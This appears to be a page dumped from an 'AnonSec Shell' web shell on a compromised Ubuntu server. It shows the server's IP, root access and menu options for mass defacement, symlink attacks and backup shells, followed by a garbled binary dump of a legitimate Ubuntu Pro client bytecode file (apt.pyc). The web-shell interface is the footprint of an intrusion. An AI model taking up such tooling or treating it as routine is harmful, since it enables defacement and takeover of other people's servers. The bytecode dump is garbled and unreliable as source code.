AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/uaclient/__pycache__/apt.cpython-310.pyc
o

F��c V�@svddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
ddlmZm
Z
mZmZddlmZmZmZmZmZddlmZdZdZdZd	Zd
ZdZdZd
ZdZ dZ!dZ"dZ#dZ$dZ%dZ&dZ'gd�Z(e�)�Z*ej+Gdd�dej,��Z-edde.fde.fde.fg�Z/dd�Z0de.d eej1fd!d"�Z2difd#e
e.d$ee.d%eee.e.fd e.fd&d'�Z3e
dd(�difd$ee.d%eee.e.fd e.fd)d*��Z4difd+e.d$ee.d%eee.e.fd e.fd,d-�Z5ifd%eee.e.fd e.fd.d/�Z6ddifd0e
e.d1ee
e.d$ee.d%eee.e.fd e.f
d2d3�Z7d4e.d5e.d6e.d7e
e.d8e.d dfd9d:�Z8d;d<�Z9d=d>�Z:	ded4e.d5e.d8ee.d dfd?d@�Z;dAdB�Z<dCdD�Z=dEdF�Z>dGdH�Z?ddI�dJdK�Z@dLe.d eAfdMdN�ZBd e
e/fdOdP�ZCdfdReAd e
e.fdSdT�ZDdde-jEfdUee.dVee.dWee-d dfdXdY�ZFdZe.d[e.d\e.d eAfd]d^�ZGd eeHfd_d`�ZId eejfdadb�ZJdgdcdd�ZKdS)h�N)�	lru_cache)�Dict�List�
NamedTuple�Optional)�event_logger�
exceptions�gpg�messages�system)�ESM_APT_ROOTDIRgN@z  # ubuntu-advantage-toolszDir::Etc::netrc/zDir::Etc::netrcparts/zDir::State::lists/z$Acquire::http::Proxy "{proxy_url}";
z%Acquire::https::Proxy "{proxy_url}";
z4Acquire::http::Proxy::esm.ubuntu.com "{proxy_url}";
z5Acquire::https::Proxy::esm.ubuntu.com "{proxy_url}";
z/etc/apt/trusted.gpg.d/z/usr/share/keyringsz/usr/lib/apt/methods/httpsz /usr/sbin/update-ca-certificatesz//etc/apt/apt.conf.d/90ubuntu-advantage-aptproxyz*/var/lib/apt/periodic/update-success-stampaL# Written by ubuntu-advantage-tools

deb https://esm.ubuntu.com/{name}/ubuntu {series}-{name}-security main
# deb-src https://esm.ubuntu.com/{name}/ubuntu {series}-{name}-security main

deb https://esm.ubuntu.com/{name}/ubuntu {series}-{name}-updates main
# deb-src https://esm.ubuntu.com/{name}/ubuntu {series}-{name}-updates main
)g�?g@g$@c@seZdZe�Ze�ZdS)�
AptProxyScopeN)�__name__�
__module__�__qualname__�object�GLOBAL�UACLIENT�rr�./usr/lib/python3/dist-packages/uaclient/apt.pyr
9s
r
�InstalledAptPackages�name�version�archc
Cs|�d�\}}tj�d�sdSz0t���!}tjddd�||||�tj�	|d�gt
td�Wd�WdS1s8wYWdStj
yy}z-|jdkrpt|j���}t�d	|�rbt�d
�|���t�d|�rpt�d�|���t�d
��d}~wtjy�t�d�t
|���w)aValidate apt credentials for a PPA.

    @param repo_url: private-ppa url path
    @param username: PPA login username.
    @param password: PPA login password or resource token.

    @raises: UserFacingError for invalid credentials, timeout or unexpected
        errors.
    �://z/usr/lib/apt/apt-helperNz
download-filez{}://{}:{}@{}/ubuntu/pool/zapt-helper-output)�timeout�retry_sleeps�dz401\s+unauthorized|httperror401z'Invalid APT credentials provided for {}zconnection timed outz-Timeout trying to access APT repository at {}z7Unexpected APT error. See /var/log/ubuntu-advantage.logzVCannot validate credentials for APT repo. Timeout after {} seconds trying to reach {}.)�split�os�path�exists�tempfile�TemporaryDirectoryr�subp�format�join�APT_HELPER_TIMEOUT�APT_RETRIESr�ProcessExecutionError�	exit_code�str�stderr�lower�re�search�UserFacingError�
subprocess�TimeoutExpired)�repo_url�username�password�protocol�	repo_path�tmpd�er,rrr�assert_valid_apt_credentialsDsT

���&�
��������r:�	apt_error�returncCs�d}t�}|���d�D]}|r*t�d|�}|r*d|��d�d�d}|�|�q|rBtjj	t
|�dkr8d	nd
d�t|��d�}|S)aAParse apt update errors for invalid apt config in user machine.

    This functions parses apt update errors regarding the presence of
    invalid apt config in the system, for example, a ppa that cannot be
    reached, for example.

    In that scenario, apt will output a message in the following formats:

    The repository 'ppa 404 Release' ...
    Failed to fetch ppa 404 ...

    On some releases, both of these errors will be present in the apt error
    message.

    :param apt_error: The apt error string
    :return: a NamedMessage containing the error message
    N�
z2(Failed to fetch |The repository .)(?P<url>[^\s]+)z- �urlz/distsr��s�)�plural�failed_repos)
�set�striprr.r/�	groupdict�addr
�APT_UPDATE_INVALID_URL_CONFIGr%�lenr&�sorted)r;�	error_msgrC�line�
pattern_match�repo_url_matchrrr�(_parse_apt_update_for_invalid_apt_configxs$��
��rO�cmdrK�envc
Cs�ztj|dt|d�\}}W|StjyB}z'dt|j�vr"t���	t|j�}|r1tj	|j
d��|r5|nt|�}t�|��d}~ww)a�Run an apt command, retrying upon failure APT_RETRIES times.

    :param cmd: List containing the apt command to run, passed to subp.
    :param error_msg: The string to raise as UserFacingError when all retries
       are exhausted in failure.
    :param env: Optional dictionary of environment variables to pass to subp.

    :return: stdout from successful run of the apt command.
    :raise UserFacingError: on issues running apt-cache policy.
    T)�capturerrQz%Could not get lock /var/lib/dpkg/lock)rKN)rr$r(rr)r+r,�APTProcessConflictErrorrO�APTInvalidRepoError�msgr0)rPrKrQ�out�_errr9�repo_error_msgrUrrr�run_apt_command�s$��
�
��rY)�maxsizecCstddg||d�S�N�	apt-cache�policy�rPrKrQ�rY)rKrQrrr�get_apt_cache_policy�s
�r`�packagecCstdd|g||d�Sr[r_)rarKrQrrr� get_apt_cache_policy_for_package�s�rbc
Cs�zMz
tddg|d�}Wn;tjyt���tjy*}ztj|jd��d}~wtjyF}ztjtj	jd|jtj	j
d��d}~wwWt��|St��w)N�apt-get�update)rPrQ)�repo_msgr=)rU�msg_code)
rYrrS�APTUpdateProcessConflictErrorrT�APTUpdateInvalidRepoErrorrUr0r
�APT_UPDATE_FAILEDrr`�cache_clear)rQrVr9rrr�run_apt_update_command�s$�����
�rk�packages�apt_optionsc
Csr|durg}ztgd�||||d�}W|Stjy$tj|d��tjy8}ztj|j|d��d}~ww)N)rc�installz--assume-yesr^)�
header_msg)rero)rYrrS�APTInstallProcessConflictErrorrT�APTInstallInvalidRepoErrorrU)rlrmrKrQrVr9rrr�run_apt_install_command�s*�������rr�
repo_filenamer3�credentials�suites�keyring_filecCs0z	|�d�\}}Wn
tyd}|}Ynwt��d}|�d�r(|dd�}t|||�d}tdd	gtjj	�}	|	�
�D]}
d
�|�|
vrGq=d|
vrLq=d}d
}|D]"}||vrZqSd
}
d|vrk|skt�
d||�d}
|dj|
||d�7}qSt�||�t|||�tj�t|�}tj�t|�}t�||�dS)z�Add an authenticated apt repo and credentials to the system.

    @raises: InvalidAPTCredentialsError when the token provided can't access
        the repo PPA.
    �:�bearer�series�/N���Fr\r]za={}-updatesz	o=Ubuntu,TrAz-updatesz?Not enabling apt suite "%s" because "%s-updates" is not enabledz# zQ{maybe_comment}deb {url}/ubuntu {suite} main
# deb-src {url}/ubuntu {suite} main
)�
maybe_commentr>�suite)r�
ValueErrorr�get_platform_info�endswithr:rYr
�APT_POLICY_FAILEDrU�
splitlinesr%�logging�debug�
write_file�add_apt_auth_conf_entryrr r&�KEYRINGS_DIR�APT_KEYS_DIRr	�export_gpg_key)rsr3rtrurvr4r5ry�updates_enabledr]rL�contentr}r|�source_keyring_file�destination_keyring_filerrr�add_auth_apt_reposX�
����r�c
Cs�t�}|�d�\}}|�d�s|d7}tj�|�rt�|�}nd}dj|||t	d�}d}g}	|�
�D].}
|s[|
��}t|�dkr[|d}||krP|	�|�d	}q2||vr[|	�|�d	}|	�|
�q2|sh|	�|�|	�d�tj
|d
�|	�dd�d
S)zBAdd or replace an apt auth line in apt's auth.conf file or conf.d.rrzrAz:machine {repo_path} login {login} password {password}{cmt})r7�loginr5�cmtF�r?Tr=���modeN)�!get_apt_auth_file_from_apt_configrr�rr r!r�	load_filer%�APT_AUTH_COMMENTr�rI�appendr�r&)
r3r�r5�
apt_auth_file�	_protocolr7�orig_content�repo_auth_line�added_new_auth�	new_linesrL�
split_line�curr_line_reporrrr�OsD
��	



r�cs�|�d�\}}|�d�r|dd�}t�}tj�|�rGt�|�}dj|d��d�	�fdd	�|�
�D��}|s=t�|�dStj||d
d�dSdS)z+Remove a repo from the shared apt auth filerrzNr{zmachine {repo_path}/ login)r7r=csg|]}�|vr|�qSrr)�.0rL��auth_prefixrr�
<listcomp>�sz2remove_repo_from_apt_auth_file.<locals>.<listcomp>r�r�)
rr�r�rr r!rr�r%r&r��ensure_file_absentr�)r3r�r7r��apt_authr�rr�r�remove_repo_from_apt_auth_filezs

��r�cCs2t�|�|rtj�t|�}t�|�t|�dS)z>Remove an authenticated apt repo and credentials to the systemN)rr�rr r&r�r�)rsr3rvrrr�remove_auth_apt_repo�s


r�cCsB|�d�\}}|�d�r|dd�}dj||d�}t�||�dS)z.Add an apt preferences file and pin for a PPA.rrzNr{z<Package: *
Pin: release o={origin}
Pin-Priority: {priority}
)�origin�priority)rr�r%rr�)�apt_preference_filer3r�r�r�r7r�rrr�add_ppa_pinning�s
��r�cCsVt�dddtg�\}}|r|�d�ddSt�dddtg�\}}|�d�d�d�S)z7Return to patch to the system configured APT auth file.�
apt-config�shell�key�'r?z90ubuntu-advantagerz)rr$�APT_CONFIG_AUTH_PARTS_DIRr�APT_CONFIG_AUTH_FILE�rstrip)rVrWrrrr��s
�
�r�c
Cs~|�d�\}}|�d�r|dd�}d}t�dddtg�\}}|r(|�d	�d
}|�dd�}tt�tj	�
||d�|����S)
zEList any apt files in APT_CONFIG_LISTS_DIR given repo_url and series.rrzNr{z/var/lib/apt/listsr�r�r�r�r?�_z
_dists_{}*)rr�rr$�APT_CONFIG_LISTS_DIR�replacerJ�globrr r&r%)r3ryr�r7�	lists_dirrVrW�aptlist_filenamerrr�find_apt_list_files�s"

����r�cCst||�D]}t�|�qdS)z?Remove any apt list files present for this repo_url and series.N)r�rr�)r3ryr rrr�remove_apt_list_files�s�r�)�
_entitlementscCs�ddlm}|durddlm}|}|jD]D}t||�sq|jj|jd�}|j	j|jd�}t
j�|�rCt
jd�|�tjd�t�|�t
j�|�rYt
jd�|�tjd�t�|�qdS)	a
    Clean apt files written by uaclient

    :param _entitlements:
        The uaclient.entitlements module to use, defaults to
        uaclient.entitlements. (This is only present for testing, because the
        import happens within the function to avoid circular imports.)
    r)�RepoEntitlementN)�entitlements�rzRemoving apt source file: {})�	file_typez!Removing apt preferences file: {})�uaclient.entitlements.repor��uaclientr��ENTITLEMENT_CLASSES�
issubclass�repo_list_file_tmplr%r�repo_pref_file_tmplrr r!�event�info�sysr,rr�)r�r��__entitlements�ent_cls�	repo_file�	pref_filerrr�clean_apt_files�s.	

�
�
��r��pkgcCs
|t�vS�N)�get_installed_packages_names)r�rrr�is_installed�s
r�cCs0t�gd��\}}|��dd�}dd�|D�S)N)�apt�listz--installedr?cSs8g|]}t|�d�d|�d�d|�d�dd��qS)rzr� r?r�)rrr)rr)r��entryrrrr��s���z*get_installed_packages.<locals>.<listcomp>)rr$r�)rVr��package_listrrr�get_installed_packages�s
�r�F�include_versionscCst�}dd�|D�}|S)NcSsg|]}|j�qSrr�)r�r�rrrr�sz0get_installed_packages_names.<locals>.<listcomp>)r�)r�r��	pkg_namesrrrr�sr��
http_proxy�https_proxy�proxy_scopecCs�|s|r!|r!d}|tjkrd}n|tjkrd}t�tjj|d��d}|r@|tjkr3|tj|d�7}n
|tjkr@|t	j|d�7}|r]|tjkrP|t
j|d�7}n
|tjkr]|tj|d�7}|dkrftj|}|dkrqt
�t�dSt
�t|�dS)a�
    Writes an apt conf file that configures apt to use the proxies provided as
    args.
    If both args are None, then no apt conf file is written. If this function
    previously wrote a conf file, and was run again with both args as None,
    the existing file is removed.

    :param http_proxy: the url of the http proxy apt should use, or None
    :param https_proxy: the url of the https proxy apt should use, or None
    :return: None
    rAz	UA-scoped�global)�scope)�	proxy_urlN)r
rrr�r�r
�SETTING_SERVICE_PROXY_SCOPEr%�APT_CONFIG_UA_PROXY_HTTP�APT_CONFIG_GLOBAL_PROXY_HTTP�APT_CONFIG_UA_PROXY_HTTPS�APT_CONFIG_GLOBAL_PROXY_HTTPS�APT_PROXY_CONFIG_HEADERrr��APT_PROXY_CONF_FILEr�)r�r�r��message�apt_proxy_configrrr�setup_apt_proxysD

�

�
�

�
�
r��version1�version2�relationcCs2z
t�dd|||g�WdStjyYdSw)zCReturn True comparing version1 to version2 with the given relation.�dpkgz--compare-versionsTF)rr$rr))r�r�r�rrr�compare_versions@s��r�cCs d}tj�t�rt�t�j}|Sr�)rr r!�APT_UPDATE_SUCCESS_STAMP_PATH�stat�st_mtime��
cache_timerrr�get_apt_cache_timeKsr�cCs$t�}|dur	dStj�|tjj�Sr�)r��datetime�
fromtimestamp�timezone�utcr�rrr�get_apt_cache_datetimeRsr�c
Cs�t��sdSddl}ddl}ddlm}ddlm}m}||�}|�	�d|j
kr-|��t��rB||�}|�	�d|j
krB|��|j
��D]}d|vrS|j
�|�qG|j
�dt�|��|jtd�}	z|	��WdS|jjy}t�d�YdSw)Nr)�ApplicationStatus)�ESMAppsEntitlement�ESMInfraEntitlement�Acquire�Dir)�rootdirz!Failed to fetch the ESM Apt Cache)r�is_current_series_ltsr��apt_pkg�(uaclient.entitlements.entitlement_statusr��uaclient.entitlements.esmr�r��application_status�DISABLED�setup_local_esm_repo�is_current_series_active_esm�config�keys�clearrDr�init_config�Cacherd�cache�FetchFailedExceptionr��warning)
�cfgr�rr�r�r��apps�infrar�rrrr�update_esm_cachesYs2��rr�)F)r<N)Lr��enumr�r�rr.r1r�r"�	functoolsr�typingrrrrr�rrr	r
r�uaclient.defaultsrr'r�r�r�r�r�r�r�r�r�r��APT_METHOD_HTTPS_FILE�CA_CERTIFICATES_FILEr�r��ESM_REPO_FILE_CONTENTr(�get_event_loggerr��unique�Enumr
r+rr:�NamedMessagerOrYr`rbrkrrr�r�r�r�r�r�r�r�r��boolr�r�r�rr�r��floatr�r�rrrrr�<module>s���4�
�/����
�'��������
�"
��
���
������
�?+����
�
#
����
�8

Anon7 - 2022
AnonSec Team